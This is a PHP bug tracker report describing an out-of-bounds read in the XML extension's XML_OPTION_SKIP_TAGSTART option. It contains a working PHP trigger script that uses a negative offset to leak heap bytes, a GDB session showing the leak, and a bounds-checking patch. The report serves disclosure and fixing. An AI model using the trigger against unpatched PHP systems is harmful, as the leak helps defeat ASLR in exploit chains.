php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #66547 XML_OPTION_SKIP_TAGSTART information leak
Submitted: 2014-01-22 16:56 UTC Modified: 2014-02-03 19:38 UTC
Votes:1
Avg. Score:4.0 ± 0.0
Reproduced:1 of 1 (100.0%)
Same Version:0 (0.0%)
Same OS:1 (100.0%)
From: sean at persistencelabs dot com Assigned:
Status: Open Package: DOM XML related
PHP Version: master-Git-2014-01-22 (Git) OS:
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: sean at persistencelabs dot com
New email:
PHP Version: OS:

 

 [2014-01-22 16:56 UTC] sean at persistencelabs dot com
Description:
------------
Summary
-------
 
The xml_parser_set_option function allows one to specify a number of bytes to
skip beyond the start of a tag, before passing this tag to various
user-specified handlers. The value is not sanitised in any way and thus can be
manipulated to read data at arbitrary offsets from the tag.

Impact
------

The impact of this bug is an information leak. A malicious user can read data
at arbitrary offsets from an allocated heap chunk. i.e. it's useful for 
defeating ASLR.

Patch Details
-------------

The patch (in a comment below) updates each location that makes use of the
user-specified offset to ensure that it does not result in an out of bounds pointer.

Bug Details
-----------

The trigger file demonstrates this issue by specifying -4 as 
the offset. As shown in the attached GDB session, 
zif_xml_parser_set_option will store this value in the toffset attribute of
the xml_parser object (line 1634).

File : ext/xml/php_xml.h

46 typedef struct {
	...

81         int toffset;
	...

90 } xml_parser;

File : ext/xml/xml.c

1616 PHP_FUNCTION(xml_parser_set_option)
1617 {
1618         xml_parser *parser;
1619         zval *pind, **val;
1620         long opt;
1621 
1622         if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind, &opt, &val) == FAILURE) {
1623                 return;
1624         }
1625         ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser);
1626 
1627         switch (opt) {
1628                 case PHP_XML_OPTION_CASE_FOLDING:
1629                         convert_to_long_ex(val);
1630                         parser->case_folding = Z_LVAL_PP(val);
1631                         break;
1632                 case PHP_XML_OPTION_SKIP_TAGSTART:
1633                         convert_to_long_ex(val);
1634                         parser->toffset = Z_LVAL_PP(val);
1635                         break;

(gdb) p/x parser->toffset
$3 = 0xfffffffc

The toffset attribute is used in a number of locations. In gdbsession.txt we
can see it being used in the following code (line 787) to calculate the 
address of the string to pass to the start-element handler. By adding -4 we
skip backwards into memory located before the string.

File : ext/xml/xml.c

771 void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char **attributes)
772 {
773         xml_parser *parser = (xml_parser *)userData;
774         const char **attrs = (const char **) attributes;
775         char *tag_name;
776         char *att, *val;
777         int val_len;
778         zval *retval, *args[3];
779         
780         if (parser) {
781                 parser->level++;
782                 
783                 tag_name = _xml_decode_tag(parser, name);
784         
785                 if (parser->startElementHandler) {
786                         args[0] = _xml_resource_zval(parser->index);
787                         args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset);
788                         MAKE_STD_ZVAL(args[2]);
789                         array_init(args[2]); 
790                         
791                         while (attributes && *attributes) {
792                                 att = _xml_decode_tag(parser, attributes[0]);
793                                 val = xml_utf8_decode(attributes[1], strlen(attributes[1]), &val_len, parser->target_encoding);
794 
795                                 add_assoc_stringl(args[2], att, val, val_len, 0);
796 
797                                 attributes += 2;
798 
799                                 efree(att);
800                         }
801 
802                         if ((retval = xml_call_handler(parser, parser->startElementHandler, parser->startElementPtr, 3, args))) {
803                                 zval_ptr_dtor(&retval);
804                         }
805                 }

Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:787
787                             args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset);
(gdb) x/s tag_name
0xb7bdc0e0:      "FOO:BAR"
(gdb) p/x parser->toffset
$4 = 0xfffffffc
(gdb) s
_xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394
394             int len = strlen(str);
(gdb) x/16x str
0xb7bdc0dc:     0x08    0x01    0x00    0x00    0x46    0x4f    0x4f    0x3a
0xb7bdc0e4:     0x42    0x41    0x52    0x00    0x25    0x00    0x00    0x00
(gdb) p/x len
$5 = 0x2

As shown, the string to be passed to the element handler is now considered
to be (0x08 0x01) rather than (0x46 0x4f ...) [FOO:BAR].

The element handler then prints these byte values.

EOF

Test script:
---------------
<?php

$XML = <<<XML
<?xml version="1.0"?>
<FOO:BAR>
</FOO:BAR>
XML;

function startElement($parser, $name, $attribs) { echo bin2hex($name) . PHP_EOL; }
function endElement($parser, $name) { echo bin2hex($name) . PHP_EOL; }
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, 'startElement', 'endElement');
xml_parser_set_option($xml_parser, XML_OPTION_SKIP_TAGSTART, 0xfffffffc);
xml_parse($xml_parser, $XML);
xml_parser_free($xml_parser);

?>


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-01-22 16:57 UTC] sean at persistencelabs dot com
(gdb) r trigger.php 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/php/sapi/cli/php /home/user/trigger.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Breakpoint 1, zif_xml_parser_set_option (ht=3, return_value=0xb7bdb21c, return_value_ptr=0xb7bbf10c, this_ptr=0x0, return_value_used=0) at ext/xml/xml.c:1622
1622            if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind, &opt, &val) == FAILURE) {
(gdb) n
1625            ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser);
(gdb) 
1627            switch (opt) {
(gdb) 
1633                            convert_to_long_ex(val);
(gdb) 
1634                            parser->toffset = Z_LVAL_PP(val);
(gdb) 
1635                            break;
(gdb) p/x parser->toffset
$3 = 0xfffffffc
(gdb) c
Continuing.

Breakpoint 2, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:773
773             xml_parser *parser = (xml_parser *)userData;
(gdb) l
768     /* }}} */
769
770     /* {{{ _xml_startElementHandler() */
771     void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char **attributes)
772     {
773             xml_parser *parser = (xml_parser *)userData;
774             const char **attrs = (const char **) attributes;
775             char *tag_name;
776             char *att, *val;
777             int val_len;
(gdb) 
778             zval *retval, *args[3];
779
780             if (parser) {
781                     parser->level++;
782
783                     tag_name = _xml_decode_tag(parser, name);
784
785                     if (parser->startElementHandler) {
786                             args[0] = _xml_resource_zval(parser->index);
787                             args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset);
(gdb) c
Continuing.

Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:787
787                             args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset);
(gdb) x/s tag_name
0xb7bdc0e0:      "FOO:BAR"
(gdb) p/x parser->toffset
$4 = 0xfffffffc
(gdb) s
_xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394
394             int len = strlen(str);
(gdb) x/16x str
0xb7bdc0dc:     0x08    0x01    0x00    0x00    0x46    0x4f    0x4f    0x3a
0xb7bdc0e4:     0x42    0x41    0x52    0x00    0x25    0x00    0x00    0x00
(gdb) n
395             MAKE_STD_ZVAL(ret);
(gdb) p/x len
$5 = 0x2
(gdb) c
Continuing.
 
 

0801
0801
[Inferior 1 (process 13133) exited normally]
(gdb)
 [2014-01-22 16:58 UTC] sean at persistencelabs dot com
From d6e911fa90a8cb711a9a94e6a3ae790bfe891b13 Mon Sep 17 00:00:00 2001
From: Sean Heelan <sean@persistencelabs.com>
Date: Sun, 15 Dec 2013 23:14:51 +0000
Subject: [PATCH 1/1] Check that tag + tag offset is still actually within the
 tag string

---
 ext/xml/xml.c |   20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/ext/xml/xml.c b/ext/xml/xml.c
index 1ef01c8..c2c97d0 100644
--- a/ext/xml/xml.c
+++ b/ext/xml/xml.c
@@ -781,6 +781,13 @@ void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Ch
 		parser->level++;
 
 		tag_name = _xml_decode_tag(parser, name);
+		unsigned tag_len = strlen(tag_name);
+		if (parser->toffset > tag_len) {
+			TSRMLS_FETCH();
+			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+			return;
+		}
+
 
 		if (parser->startElementHandler) {
 			args[0] = _xml_resource_zval(parser->index);
@@ -866,6 +873,12 @@ void _xml_endElementHandler(void *userData, const XML_Char *name)
 		zval *retval, *args[2];
 
 		tag_name = _xml_decode_tag(parser, name);
+		unsigned tag_len = strlen(tag_name);
+		if (parser->toffset > tag_len) {
+			TSRMLS_FETCH();
+			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+			return;
+		}
 
 		if (parser->endElementHandler) {
 			args[0] = _xml_resource_zval(parser->index);
@@ -989,6 +1002,13 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
 
 						array_init(tag);
 
+						unsigned tag_len = strlen(parser->ltags[parser->level-1]);
+						if (parser->toffset > tag_len) {
+							TSRMLS_FETCH();
+							php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length");
+							return;
+						}
+
 						_xml_add_to_info(parser,parser->ltags[parser->level-1] + parser->toffset);
 
 						add_assoc_string(tag,"tag",parser->ltags[parser->level-1] + parser->toffset,1);
-- 
1.7.9.5
 [2014-02-03 19:38 UTC] stas@php.net
-Type: Security +Type: Bug -Package: *General Issues +Package: DOM XML related
 [2016-01-11 12:50 UTC] sean dot heelan at gmail dot com
This issue is still present in PHP 7. Would it be possible to get the patch applied?
 
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Wed Nov 25 20:01:23 2020 UTC